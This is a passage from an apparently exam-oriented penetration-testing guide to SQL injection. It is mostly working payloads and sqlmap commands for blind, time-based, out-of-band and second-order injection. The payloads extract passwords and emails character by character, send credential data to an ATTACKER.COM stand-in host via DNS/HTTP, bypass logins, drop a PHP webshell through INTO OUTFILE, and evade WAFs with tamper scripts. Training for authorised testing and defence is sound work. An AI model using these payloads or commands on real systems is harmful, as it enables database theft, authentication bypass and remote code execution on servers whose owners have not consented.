  • GROUP_CONCAT / string_agg / LISTAGG turn a whole table into one cell — the biggest single time-saver on the exam. Watch MySQL's group_concat_max_len (1024) truncation.
  • Use 0x3a (:) and 0x0a (newline) as separators inside GROUP_CONCAT so the dump is readable in the rendered HTML.

3.9 Exploiting Boolean-Based Blind SQL Injection

No data and no errors are returned. You have exactly one bit per request: the page is either in state TRUE or state FALSE.

3.9.1 Step 1 — Establish the oracle

Send a known-true and a known-false condition and record how the response differs (body length, presence of a string, HTTP status, redirect).

1 AND 1=1-- -        # TRUE  : full blog post renders
1 AND 1=2-- -        # FALSE : blank page with only the sidebar/comment form
' AND '1'='1         # TRUE
' AND '1'='2         # FALSE

Use AND, not OR, for the oracle: with AND, a false right-hand side collapses the whole condition, producing an unmistakable FALSE page. With OR, a true right-hand side returns everything and masks the signal.

If the id itself is invalid, flip the logic: 999 OR 1=1 (TRUE, returns rows) vs 999 OR 1=2 (FALSE, blank).

3.9.2 Step 2 — Ask yes/no questions

-- Does a table exist?
1 AND (SELECT COUNT(*) FROM users)>0-- -
1 AND EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='users')-- -

-- How many rows?
1 AND (SELECT COUNT(*) FROM users)>10-- -
1 AND (SELECT COUNT(*) FROM users)=42-- -

-- How long is a value?
1 AND LENGTH((SELECT password FROM users LIMIT 0,1))>20-- -
1 AND LENGTH((SELECT password FROM users LIMIT 0,1))=32-- -

3.9.3 Step 3 — Character extraction with SUBSTRING + ASCII (binary search)

Compare a single character's ASCII code, halving the search space each request: 7 requests per character (printable range) instead of 95.

-- MySQL
1 AND ASCII(SUBSTRING((SELECT @@version),1,1))>52-- -
1 AND ASCII(SUBSTRING((SELECT @@version),1,1))=53-- -                       # '5'
1 AND SUBSTRING((SELECT @@version),1,1)='5'-- -                             # direct compare
1 AND ASCII(SUBSTRING((SELECT database()),1,1))>109-- -
1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))>110-- -
1 AND ASCII(SUBSTRING((SELECT user_email FROM users WHERE user_name='admin'),2,1))>67-- -

-- PostgreSQL
1 AND ASCII(SUBSTRING((SELECT version()),1,1))>80-- -
1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0),1,1)='u'-- -

-- MSSQL
1 AND ASCII(SUBSTRING((SELECT @@version),1,1))>77-- -
1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM sys.tables),1,1))>100-- -

-- Oracle
1 AND ASCII(SUBSTR((SELECT banner FROM v$version WHERE ROWNUM=1),1,1))>79-- -
1 AND ASCII(SUBSTR((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM user_tables) WHERE r=1),1,1))>64-- -

-- SQLite
1 AND UNICODE(SUBSTR((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))>100-- -
1 AND SUBSTR((SELECT sqlite_version()),1,1)='3'-- -

3.9.4 Step 4 — Loop the algorithm

For each character position p from 1 to LENGTH(value):

  1. lo=32, hi=126
  2. mid=(lo+hi)/2; send ... ASCII(SUBSTRING(expr,p,1)) > mid ...
  3. TRUE → lo=mid+1; FALSE → hi=mid
  4. Repeat until lo==hi; that is the character.

Burp Intruder (Cluster bomb: position × candidate char, filter on the TRUE-state length) or a short script does this. sqlmap does it natively with --technique=B.

3.9.5 Practical relational lookup example

-- Is the 2nd character of admin's email greater than 'C'?
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='admin'),2,1)>'C'-- -

-- Narrow the first character of a user's email by bisection
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='Victor'),1,1)<'Z'-- -   # TRUE
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='Victor'),1,1)<'W'-- -   # TRUE
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='Victor'),1,1)>'U'-- -   # TRUE  => 'V'

Exam tips

  • Get the table name right before you extract. FROM user vs FROM users produces a permanent FALSE that looks exactly like a wrong guess — this is the classic blind-SQLi rabbit hole.
  • URL-encode the payload once. Spaces, > and = inside a query string will otherwise mangle the condition.
  • Verify your oracle after every few requests by re-sending the known-TRUE and known-FALSE probes. If the app has rate limiting or a cache, your oracle can silently drift.
  • Prefer SUBSTRING(...)='x' direct comparison when the charset is small (hex hashes, digits) — 16 candidates beats 7-step bisection in wall-clock time with Intruder.
  • MySQL string comparison is case-insensitive by default collation. To be exact, wrap with BINARY: AND BINARY SUBSTRING(x,1,1)='A'.

3.10 Exploiting Time-Based Blind SQL Injection

The oracle is response latency, not content. Use when the page is byte-identical for TRUE and FALSE.

3.10.1 Step 1 — Prove the delay

-- MySQL: use a known-true left operand and AND so SLEEP runs exactly once
admin' AND SLEEP(5) AND '1'='1
admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
1 AND SLEEP(5)-- -
1 AND BENCHMARK(5000000,MD5('A'))-- -

-- PostgreSQL
1 AND (SELECT 1 FROM pg_sleep(5))IS NOT NULL-- -

-- MSSQL (statement, needs stacked queries or an IF context)
1; WAITFOR DELAY '0:0:5'-- -

-- Oracle
1 AND 1=dbms_pipe.receive_message('a',5)-- -

-- SQLite (heavy query)
1 AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))))-- -

Baseline first: record the normal response time (e.g. ~250 ms) in Burp Repeater (bottom-right of the Response pane shows the elapsed time in ms). Then confirm the payload adds ~5000 ms.

3.10.2 Common gotcha — OR + SLEEP multiplies the delay

With OR SLEEP(5), MySQL evaluates SLEEP(5) for every row the query touches. On a 7-row table you get ~35 seconds, not 5. Fix it by anchoring on a real record and using AND:

admin' AND SLEEP(5) AND '1'='1        # exactly ~5s: 'admin' matches one row
fakeuser' OR SLEEP(5)-- -             # ~5s * (row count): confusing, avoid

If you see a multiple of your sleep value, that is confirmation too — just switch to AND for clean measurements.

3.10.3 Step 2 — Conditional delay = extraction

-- MySQL: sleep only if the condition is true
1 AND IF(1=1,SLEEP(5),0)-- -
1 AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)-- -
1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>109,SLEEP(5),0)-- -
1 AND IF((SELECT COUNT(*) FROM users)>10,SLEEP(5),0)-- -
1 AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>51,SLEEP(5),0)-- -
-- variant commonly generated by sqlmap:
1 AND (SELECT 5*(IF((ASCII(SUBSTRING((SELECT database()),1,1))>109),SLEEP(5),5)))-- -

-- PostgreSQL
1 AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT current_database()),1,1))>109) THEN pg_sleep(5) ELSE pg_sleep(0) END)IS NOT NULL-- -

-- MSSQL
1; IF (ASCII(SUBSTRING((SELECT @@version),1,1))>77) WAITFOR DELAY '0:0:5'-- -
1; IF (SELECT COUNT(*) FROM users)>10 WAITFOR DELAY '0:0:5'-- -

-- Oracle
1 AND (SELECT CASE WHEN (ASCII(SUBSTR((SELECT user FROM dual),1,1))>79) THEN dbms_pipe.receive_message('a',5) ELSE 1 END FROM dual)=1-- -

-- SQLite
1 AND CASE WHEN (SUBSTR((SELECT sqlite_version()),1,1)='3') THEN LIKE('A',UPPER(HEX(RANDOMBLOB(100000000)))) ELSE 1 END-- -

3.10.4 BENCHMARK as an alternative delay

When SLEEP() is filtered, force CPU work instead. The delay is proportional to the iteration count — tune it until it is unmistakable:

1 AND BENCHMARK(1000000,MD5('A'))-- -        # ~0.5s
1 AND BENCHMARK(10000000,MD5('A'))-- -       # ~4s
1 AND BENCHMARK(100000000,MD5('A'))-- -      # ~40s
1 AND BENCHMARK(5000000,SHA1('A'))-- -
1 AND BENCHMARK(1000000,ENCODE('hello','key'))-- -
-- conditional:
1 AND IF(SUBSTRING(@@version,1,1)='5',BENCHMARK(10000000,MD5('A')),0)-- -

Heavy-query equivalents for engines with no sleep:

-- Oracle
1 AND 1=(SELECT COUNT(*) FROM all_users t1,all_users t2,all_users t3,all_users t4)-- -
-- MySQL/generic cartesian burn
1 AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B)-- -

3.10.5 Version enumeration by delay (worked)

-- "If the first char of the version is 5, sleep 7 seconds"
fake' OR IF(SUBSTRING(@@version,1,1)=5,SLEEP(7),0)-- -      # ~7s  => MySQL 5.x confirmed
fake' OR IF(SUBSTRING(@@version,1,1)=4,SLEEP(7),0)-- -      # baseline => not 4.x

Exam tips

  • Always baseline. A slow app can look like a 2-second sleep. Use 5-10 s, never 1-2 s.
  • Reduce --threads to 1 and raise --time-sec when the network is noisy; false positives in time-based are the most expensive kind of mistake.
  • MSSQL WAITFOR DELAY is a statement, not an expression — it needs stacked queries or an IF context. It will never work inside a WHERE clause as a function.
  • Time-based is the slowest technique. If any content difference exists, use boolean-based. If any output reflects, use UNION.

3.11 Out-of-Band (OOB) SQL Injection

Two separate channels: the injection goes in over HTTP, the data comes out over DNS/HTTP/SMB to a host you control (Burp Collaborator, interactsh, your own nslookup/HTTP listener). Use it when the app returns nothing at all, or when the query executes asynchronously.

-- ===== MySQL (Windows only for UNC; requires FILE privilege) =====
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.ATTACKER.COM\\a'))-- -
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users LIMIT 1),'.ATTACKER.COM\\a'))-- -
SELECT ... INTO OUTFILE '\\\\ATTACKER.COM\\share\\out.txt';

-- ===== Microsoft SQL Server =====
'; EXEC master..xp_dirtree '\\'+(SELECT DB_NAME())+'.ATTACKER.COM\a'-- -
'; DECLARE @q VARCHAR(1024); SET @q='\\'+(SELECT TOP 1 password FROM users)+'.ATTACKER.COM\a'; EXEC master..xp_dirtree @q-- -
'; EXEC master..xp_fileexist '\\ATTACKER.COM\a'-- -

-- ===== Oracle =====
' AND (SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.ATTACKER.COM') FROM dual) IS NOT NULL-- -
' AND (SELECT UTL_HTTP.REQUEST('http://ATTACKER.COM/'||(SELECT user FROM dual)) FROM dual) IS NOT NULL-- -
' AND (SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.ATTACKER.COM',80) FROM dual) IS NOT NULL-- -
-- XXE-style (no ACL needed on some versions):
' AND EXTRACTVALUE(XMLType('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % p SYSTEM "http://'||(SELECT user FROM dual)||'.ATTACKER.COM/">%p;]>'),'/l')-- -

-- ===== PostgreSQL =====
'; COPY (SELECT '') TO PROGRAM 'nslookup '||(SELECT current_user)||'.ATTACKER.COM'-- -
'; SELECT dblink_connect('host=ATTACKER.COM user=x password=y dbname=z')-- -

sqlmap uses this channel for --dns-domain and for --os-pwn connect-back.

Exam tips

  • Oracle network ACLs (11g+) frequently block UTL_HTTP/UTL_INADDR. DBMS_LDAP.INIT and the XMLType/XXE variant often still work.
  • DNS exfiltration cannot carry arbitrary bytes — hex-encode first (HEX(), RAWTOHEX()) and chunk to fit label (63 char) and total (253 char) DNS limits.
  • Modern MySQL on Linux cannot do UNC paths; OOB via MySQL is essentially Windows-only.

3.12 Second-Order SQL Injection

The payload is stored by one request (registration, profile update, comment) and executed by a different, later request (admin panel, report generation, password change) that concatenates the stored value into a new query — where escaping is usually absent because the value is "already in the database and therefore trusted".

Detection pattern:

  1. Register/store a value containing a payload: admin'-- -, x' AND SLEEP(5)-- -, x'||(SELECT version())||'.
  2. Trigger the second-stage function (view profile, change password, admin list, export).
  3. Watch for the effect there — error, delay, or a Collaborator hit.
# Stage 1: store the payload in the username at registration
POST /register  ->  username=test'+AND+SLEEP(5)--+-&password=Passw0rd

# Stage 2: trigger the vulnerable second query (the delay proves it)
GET /profile.php        # or: POST /changepass, /admin/users, /export

sqlmap handles this natively:

# -r = the request that STORES the payload; --second-url = the page that TRIGGERS the query
sqlmap -r store.req -p username --second-url "https://target/profile.php" --batch
# Full request file for the second stage (when it needs a session cookie / POST body)
sqlmap -r store.req -p username --second-req trigger.req --batch

Exam tips

  • Time-based payloads are the best second-order probes: you get an unambiguous signal on the second page without needing reflected output.
  • Registration, "update profile", and "leave a comment" are the highest-yield stage-1 sinks; admin dashboards and CSV/PDF export are the highest-yield stage-2 sinks.
  • Because stage 2 often runs as a higher-privileged DB user, second-order SQLi frequently escalates to file write / RCE where the first-order path could not.

3.13 Escalation: Authentication Bypass, File Access, RCE

3.13.1 Authentication bypass payload set

' OR 1=1-- -
' OR '1'='1
' OR '1'='1'-- -
' OR '1'='1'#
' OR 1=1#
' OR 1=1 LIMIT 1-- -
admin'-- -
admin'#
admin' OR '1'='1
admin'/*
' OR 'x'='x
') OR ('1'='1
') OR '1'='1'-- -
" OR ""="
" OR 1=1-- -
' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'-- -   # inject a known MD5 ('password')
' OR EXISTS(SELECT 1 FROM users WHERE username='admin')-- -

When the query is SELECT * FROM users WHERE user='$u' AND pass='$p', injecting into username with a comment terminator drops the password check entirely. When only username is escaped, inject the password field instead.

3.13.2 Privilege check before escalating

-- MySQL
SELECT user(), current_user();
SELECT super_priv, file_priv FROM mysql.user WHERE user=SUBSTRING_INDEX(USER(),'@',1);
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'plugin_dir';

-- PostgreSQL
SELECT current_user, usesuper FROM pg_user WHERE usename=current_user;

-- MSSQL
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT SYSTEM_USER, IS_MEMBER('db_owner');

-- Oracle
SELECT * FROM session_privs;
SELECT granted_role FROM user_role_privs;

sqlmap shortcut: --is-dba, --privileges, --roles, --current-user.

3.13.3 Escalation decision table

DBMSRead fileWrite fileDirect command execution
MySQLLOAD_FILE() (FILE priv + secure_file_priv)INTO OUTFILE / INTO DUMPFILEUDF sys_exec (write .so/.dll to plugin dir) — sqlmap --os-shell
PostgreSQLpg_read_file(), COPY ... FROMCOPY ... TO , lo_exportCOPY ... FROM PROGRAM 'cmd' (9.3+, superuser)
MSSQLOPENROWSET(BULK ...), xp_dirtreexp_cmdshell 'echo ... >', sp_OACreatexp_cmdshell, OLE automation, CLR assembly, Agent jobs
OracleUTL_FILE, DBMS_XSLPROCESSOR.READ2CLOBUTL_FILE.PUT_LINEJava stored procs, DBMS_SCHEDULER external jobs
SQLiten/a (no file functions in embedded builds)ATTACH DATABASE + INSERT (needs stacked queries)none directly — write a webshell into the webroot

3.13.4 Webshell drop (MySQL, the classic)

-- Find the webroot first: error messages, phpinfo, /etc/apache2/sites-enabled/000-default.conf via LOAD_FILE
' UNION SELECT NULL,LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf'),NULL-- -

-- Drop a minimal PHP shell (path must be writable by mysqld, file must not exist)
' UNION SELECT '<?php system($_REQUEST["cmd"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/x.php'-- -

-- Hex form avoids quote filtering
' UNION SELECT 0x3C3F7068702073797374656D28245F524551554553545B22636D64225D293B203F3E INTO DUMPFILE '/var/www/html/x.php'-- -

Then GET /x.php?cmd=id.

Exam tips

  • Enumerate the webroot before trying to write. /var/www/html, /var/www, /srv/http, C:\inetpub\wwwroot, C:\xampp\htdocs are the usual suspects; sqlmap's --os-shell brute-forces exactly this list and often fails because the app lives one directory deeper (e.g. /var/www/html/appname) — supply a custom path when prompted.
  • If --os-shell fails on every common directory, use the "full path disclosure" option sqlmap offers (it triggers an error that leaks the absolute path) and then feed that path back.
  • --file-write/--file-dest is often more reliable than --os-shell when you already know the path.

3.14 SQL Injection Testing Methodology

3.14.1 Sequence

#PhaseWhat you doExample
1Entry-point discoveryCrawl/proxy the app; list every input (GET, POST, cookies, headers, JSON, XML, multipart, path segments); classify which touch the DBBurp sitemap → target scope; ZAP spider
2DBMS fingerprintingError text, function-support probes, comment-style probes' AND LEN('a')=1-- - vs LENGTH
3Basic injection testQuote break / repair, arithmetic, TRUE/FALSE pair' , '' , 4-1, AND 1=1 / AND 1=2
4Error-basedForce a syntax/type error, read the messageAND extractvalue(1,CONCAT(0x7e,version(),0x7e))
5Union-basedORDER BY / UNION NULL count → reflected columns → schema → dump' ORDER BY 6-- -, ' UNION SELECT 1,2,3-- -
6Boolean-blindEstablish the oracle, bisect with SUBSTRING/ASCIIAND ASCII(SUBSTRING(...,1,1))>109
7Time-blindBaseline, conditional sleepAND IF(cond,SLEEP(5),0)
8AdvancedOOB (DNS/HTTP callback), second-orderCollaborator payload; store-then-trigger
9Automated validationsqlmap to confirm technique + DBMS + payload, then enumeratesqlmap -r req.txt -p id --technique=BEU
10Exploitation / impactDump the minimum data needed for the PoC; escalate to file/RCE if in scope--dump -D app -T users, --os-shell

3.14.2 Checklist

StepDescriptionExample payload / command
Input pointsLocate everything that reaches the DBforms, ?id=, cookies, User-Agent
Basic testBreak/repair syntax' , '' , ')
Error-basedTrigger a verbose DB error' AND updatexml(1,CONCAT(0x7e,user()),1)-- -
Boolean-basedDistinguishable TRUE/FALSE1 AND 1=1-- - / 1 AND 1=2-- -
Time-basedInject a measurable delay1 AND SLEEP(5)-- -
Union-basedCount columns, then extract' ORDER BY N-- -, ' UNION SELECT NULL,...-- -
StackedSecond statement executes?'; SELECT pg_sleep(5)-- -
OOBDNS/HTTP callbackxp_dirtree '\\x.ATTACKER.COM\a'
Second-orderStore then trigger--second-url
ToolingConfirm + enumeratesqlmap -r req.txt -p id --batch
ImpactMinimum-viable PoC + report--current-user --current-db --is-dba

Exam tips

  • Manual first, sqlmap second. sqlmap thrown blindly at a URL will pick an inefficient technique, generate thousands of requests, and can destabilise a lab. Identify the parameter and technique by hand, then hand sqlmap -p and --technique.
  • Keep a scratch file per target with: URL, method, parameter, context (string/int), DBMS + version, comment style that works, column count, reflected column positions, current DB, table list. You will re-use it for every later question about that host.
  • Note which comment style worked (# vs -- -) — reuse it everywhere on that target.

3.15 SQLMap In Depth

3.15.1 Target specification

# Simplest: URL with a parameter
sqlmap -u "http://target/product.php?id=1"

# POST data
sqlmap -u "http://target/login.php" --data="username=admin&password=pass"

# Focus on a single parameter (strongly recommended once you know which one)
sqlmap -u "http://target/product.php?id=1" -p id

# Skip a parameter
sqlmap -u "http://target/p.php?id=1&t=2" --skip="t"

# Force the HTTP method
sqlmap -u "http://target/api/user" --data='{"id":1}' --method=PUT

# Saved request file from Burp/ZAP  -- BEST PRACTICE: preserves headers, cookies, body, TLS
sqlmap -r /root/Desktop/request.txt -p words_exact

# Mark the injection point explicitly with *  (needed for REST paths, JSON, headers, cookies)
sqlmap -u "http://target/api/v1/user/1*"
sqlmap -u "http://target/p.php?id=1" --cookie="TrackingId=abc*; PHPSESSID=xyz"
sqlmap -r request.txt        # inside request.txt, put * where you want injection

# Cookies and custom headers
sqlmap -u "http://target/p.php?id=1" --cookie="PHPSESSID=9a8b7c6d"
sqlmap -u "http://target/p.php?id=1" -H "X-Forwarded-For: 1.2.3.4*"
sqlmap -u "http://target/p.php?id=1" -H "Authorization: Bearer eyJ..." --headers="X-API-Key: k1\nX-Env: prod"
sqlmap -u "http://target/p.php?id=1" --user-agent="Mozilla/5.0 (custom)*"
sqlmap -u "http://target/p.php?id=1" --referer="http://target/*"

# Multiple targets
sqlmap -m targets.txt                    # one URL per line
sqlmap -l burp.log                       # Burp proxy log file
sqlmap -x http://target/sitemap.xml      # sitemap
sqlmap -c sqlmap.conf                    # INI config file

Saving a request in Burp: right-click the request → Copy to file (or select all in the Raw tab and paste into a text file). Then sqlmap -r thatfile. This is the most reliable way to test POST bodies, JSON, multipart, and authenticated sessions.

The * marker: wherever you place * inside a -u URL, a -r request file, a cookie, or a header value, sqlmap injects there and only there. Use it for URL path segments (/user/1*), JSON values ({"id":"1*"}), and header values — places -p cannot name.

3.15.2 Detection: --level and --risk

--level = how many places are tested (breadth). --risk = how dangerous the payloads are.

--levelDefaultWhat it adds
1yesGET and POST parameters only
2+ HTTP Cookie header
3+ HTTP User-Agent and Referer headers
4+ many more payloads and boundary combinations
5+ Host header, all remaining payloads/boundaries
--riskDefaultWhat it adds
1yesHarmless payloads only
2+ heavy time-based payloads (query-time load on the DB)
3+ OR-based payloads and stacked queries — can modify data (an OR payload against an UPDATE/DELETE statement can affect every row)
# Test headers and cookies too
sqlmap -r request.txt --level=3 --risk=2

# Maximum breadth and aggression - only with explicit authorisation, never as a first shot
sqlmap -r request.txt --level=5 --risk=3

Raising level multiplies the request count enormously. Raise it only when level 1 finds nothing and you suspect a header/cookie sink.

3.15.3 Technique and DBMS targeting

# Restrict to the technique you already confirmed manually
sqlmap -r request.txt -p id --technique=B      # Boolean-based blind only
sqlmap -r request.txt -p id --technique=E      # Error-based only
sqlmap -r request.txt -p id --technique=U      # Union-based only
sqlmap -r request.txt -p id --technique=T      # Time-based blind only
sqlmap -r request.txt -p id --technique=S      # Stacked queries only
sqlmap -r request.txt -p id --technique=Q      # Inline queries only
sqlmap -r request.txt -p id --technique=BEU    # combine
CodeTechniqueNotes
BBoolean-based blindDefault first in the sequence
EError-basedFastest in-band per-value
UUnion query-basedFastest bulk extraction
SStacked queriesRequired for --os-shell on MSSQL/PostgreSQL and for --sql-query writes
TTime-based blindSlowest; last resort
QInline queriesSubquery embedded in the original query

Default value is BEUSTQ (all of them).

# Tell sqlmap the DBMS - skips all non-matching payloads (big speed win)
sqlmap -r request.txt -p id --dbms=MySQL
sqlmap -r request.txt -p id --dbms="Microsoft SQL Server"
sqlmap -r request.txt -p id --dbms=PostgreSQL
sqlmap -r request.txt -p id --dbms=Oracle
sqlmap -r request.txt -p id --dbms=SQLite
sqlmap -r request.txt -p id --os=Linux

# Custom injection boundaries when sqlmap's defaults do not match the query context
sqlmap -r request.txt -p id --prefix="')" --suffix="-- -"
sqlmap -r request.txt -p id --prefix="' " --suffix=" AND 'a'='a"

--prefix/--suffix are the fix when you know manually that ') closes the clause but sqlmap's automatic boundary detection fails.

# Union tuning
sqlmap -r request.txt -p id --technique=U --union-cols=5          # force column count
sqlmap -r request.txt -p id --technique=U --union-char=NULL       # character used to bruteforce columns
sqlmap -r request.txt -p id --technique=U --union-from=dual       # Oracle needs a FROM table

3.15.4 Response-comparison tuning (blind)

--string="Welcome back"     # page contains this when the condition is TRUE
--not-string="Invalid"      # page contains this when FALSE
--regexp="user_[0-9]+"      # regex for TRUE
--code=200                  # HTTP status that means TRUE
--titles                    # compare <title> only
--text-only                 # strip HTML tags before comparing

Use these whenever sqlmap says "heuristic test shows the parameter might not be injectable" but you have manually proven a content oracle.

3.15.5 Enumeration flags

# Banner, users, privileges
sqlmap -r request.txt -p id --banner                     # full DBMS banner/version
sqlmap -r request.txt -p id --current-user               # DB user the app connects as
sqlmap -r request.txt -p id --current-db                 # database in use
sqlmap -r request.txt -p id --hostname                   # DB server hostname
sqlmap -r request.txt -p id --is-dba                     # is the current user a DBA? (True/False)
sqlmap -r request.txt -p id --users                      # all DBMS users
sqlmap -r request.txt -p id --passwords                  # password hashes (offers to crack them)
sqlmap -r request.txt -p id --privileges                 # per-user privileges
sqlmap -r request.txt -p id --roles                      # per-user roles (Oracle/MSSQL)

# Schema walk
sqlmap -r request.txt -p id --dbs                                        # list databases
sqlmap -r request.txt -p id -D appdb --tables                            # tables in appdb
sqlmap -r request.txt -p id -D appdb -T users --columns                  # columns of appdb.users
sqlmap -r request.txt -p id -D appdb -T users -C username,password --dump   # dump 2 columns
sqlmap -r request.txt -p id -D appdb -T users --dump                     # dump whole table
sqlmap -r request.txt -p id -D appdb --dump                              # dump whole database
sqlmap -r request.txt -p id --dump-all --exclude-sysdbs                  # everything except system DBs
sqlmap -r request.txt -p id --schema --exclude-sysdbs                    # full schema (all DBs/tables/cols)
sqlmap -r request.txt -p id -a                                           # --all: retrieve everything (slow)

# Targeted / cheap
sqlmap -r request.txt -p id -D appdb -T users --count                    # row count only
sqlmap -r request.txt -p id --search -T user                             # find tables matching "user"
sqlmap -r request.txt -p id --search -C pass                             # find columns matching "pass"
sqlmap -r request.txt -p id -D appdb -T users --start=1 --stop=10        # dump rows 1-10 only
sqlmap -r request.txt -p id -D appdb -T users --where="id>100"           # filtered dump
sqlmap -r request.txt -p id --dump-format=CSV                            # output format
FlagShortMeaning
--dbsEnumerate databases/schemas
--tablesEnumerate tables (use with -D)
--columnsEnumerate columns (use with -D -T)
--dumpExtract table entries
--dump-allExtract everything in every DB
--exclude-sysdbsSkip information_schema, mysql, master, sys, SYSTEM, …
-DDatabase name
-TTable name (comma-separated list allowed)
-CColumn names (comma-separated)
--schemaFull schema dump (no data)
-a / --allEverything — very slow, very noisy
-b / --bannerDBMS banner

3.15.6 Interactive shells and OS takeover

# Run one query
sqlmap -r request.txt -p id --sql-query="SELECT user(),database()"
sqlmap -r request.txt -p id --sql-query="SELECT username,password FROM users"

# Interactive SQL prompt
sqlmap -r request.txt -p id --sql-shell
sqlmap -r request.txt -p id --sql-file=queries.sql

# Interactive OS command shell (needs stacked queries or file-write + webroot)
sqlmap -r request.txt -p id --os-shell
sqlmap -r request.txt -p id --os-cmd="id"
sqlmap -r request.txt -p id --os-shell --web-root="/var/www/html/appname"

# Meterpreter / out-of-band shell via Metasploit
sqlmap -r request.txt -p id --os-pwn --msf-path=/usr/share/metasploit-framework
sqlmap -r request.txt -p id --os-smbrelay
sqlmap -r request.txt -p id --priv-esc

# File read / write on the DB server
sqlmap -r request.txt -p id --file-read="/etc/passwd"
sqlmap -r request.txt -p id --file-read="C:/Windows/win.ini"
sqlmap -r request.txt -p id --file-write="/root/shell.php" --file-dest="/var/www/html/shell.php"
sqlmap -r request.txt -p id --file-write="./nc.exe" --file-dest="C:/inetpub/wwwroot/nc.exe"

--os-shell prompts for the server language (ASP/ASPX/JSP/PHP), then tries to upload a stager into the webroot. If it cannot find the webroot it offers common location(s), brute force search, or custom location — choose custom location and supply the path you found with --file-read on the Apache/nginx config or from a full-path-disclosure error.

3.15.7 Anti-CSRF, crawling, forms, second-order

# CSRF-protected forms: sqlmap fetches a fresh token for every request
sqlmap -u "http://target/change.php" --data="name=x&csrf_token=abc" --csrf-token="csrf_token"
sqlmap -u "http://target/change.php" --data="name=x&token=abc" --csrf-token="token" --csrf-url="http://target/form.php"
sqlmap -r request.txt --csrf-token="token" --csrf-method=GET --csrf-retries=5

# Crawl the site and test everything it finds
sqlmap -u "http://target/" --crawl=3 --batch
sqlmap -u "http://target/" --crawl=2 --crawl-exclude="logout|delete" --batch

# Parse and test every HTML form found on the page
sqlmap -u "http://target/" --forms --batch
sqlmap -u "http://target/" --crawl=2 --forms --batch

# Second-order: inject here, observe the result there
sqlmap -r store.req -p username --second-url="http://target/profile.php"
sqlmap -r store.req -p username --second-req=trigger.req

3.15.8 Performance, stealth, and session control

--batch                 # never prompt; accept every default answer
--answers="follow=N,quit=N,crack=N"   # pre-answer specific prompts
--threads=10            # parallel requests (max 10). Do NOT use with time-based
--delay=1               # seconds between requests (rate-limit friendly)
--time-sec=10           # seconds used by time-based payloads (raise on slow/noisy links)
--timeout=30            # socket timeout
--retries=3             # retries on connection failure
--random-agent          # random real User-Agent from sqlmap's list
--mobile                # imitate a smartphone UA
--proxy="http://127.0.0.1:8080"       # route everything through Burp/ZAP
--proxy-cred="user:pass"
--tor --tor-type=SOCKS5 --check-tor
--safe-url="http://target/home.php" --safe-freq=5   # hit a safe URL every 5 requests (anti-lockout)
--skip-urlencode        # do not URL-encode the payload
--chunked               # split the POST body with chunked transfer-encoding (WAF evasion)
--hpp                   # HTTP parameter pollution (WAF evasion)
--identify-waf          # fingerprint the WAF/IPS
--skip-waf              # skip the heuristic WAF check
--ignore-code=401       # ignore an HTTP status that would otherwise abort
--eval="import hashlib;h=hashlib.md5(id).hexdigest()"   # recompute a dependent param per request
-v 3                    # verbosity 0-6; v3 prints the payloads being sent
--flush-session         # discard cached results for this target and re-test from scratch
--fresh-queries         # ignore cached query results, re-run the queries
--purge                 # delete the entire sqlmap data/output directory
-s session.sqlite       # explicit session file
-t traffic.txt          # log all HTTP traffic to a file
--output-dir=/root/sqlmap-out
--update                # update sqlmap

--flush-session is the fix when sqlmap "remembers" a stale/incorrect finding (e.g. you changed the payload boundary or the app changed) and refuses to re-test.

3.15.9 Tamper scripts (filter/WAF evasion)

sqlmap -r request.txt -p id --tamper=space2comment
sqlmap -r request.txt -p id --tamper=between,randomcase,charencode
sqlmap -r request.txt -p id --tamper=space2comment,between,percentage --random-agent --delay=1
sqlmap --list-tampers            # print every available tamper script with its description
Tamper scriptEffect
space2commentReplaces spaces with /**/
space2plusReplaces spaces with +
space2hashReplaces spaces with %23 + random string + newline (MySQL)
space2mysqldashReplaces spaces with -- + newline (MySQL)
space2mssqlblankReplaces spaces with a random blank character (MSSQL)
space2randomblankReplaces spaces with a random valid whitespace char
multiplespacesAdds multiple spaces around SQL keywords
randomcaseSELECT → SeLeCt
randomcommentsInserts /**/ inside keywords: UN/**/ION
between> → NOT BETWEEN 0 AND, = → BETWEEN x AND x
equaltolike= → LIKE
greatest> → GREATEST
ifnull2ifisnullIFNULL(A,B) → IF(ISNULL(A),B,A)
charencodeURL-encodes all characters
chardoubleencodeDouble URL-encodes all characters
charunicodeencodeUnicode-encodes (%u0053)
percentageAdds % before each character (ASP/IIS)
apostrophemask' → UTF-8 full-width apostrophe %EF%BC%87
apostrophenullencode' → %00%27
appendnullbyteAppends %00 to the payload
base64encodeBase64-encodes the whole payload
unmagicquotes' → %bf%27 plus a trailing comment (magic-quotes bypass)
versionedkeywordsWraps each keyword in MySQL versioned comments /*!SELECT*/
versionedmorekeywordsAs above, more keywords
halfversionedmorekeywordsAdds /*!0 before each keyword
modsecurityversionedWraps the full query in a versioned comment
modsecurityzeroversionedWraps the full query in /*!00000 ... */
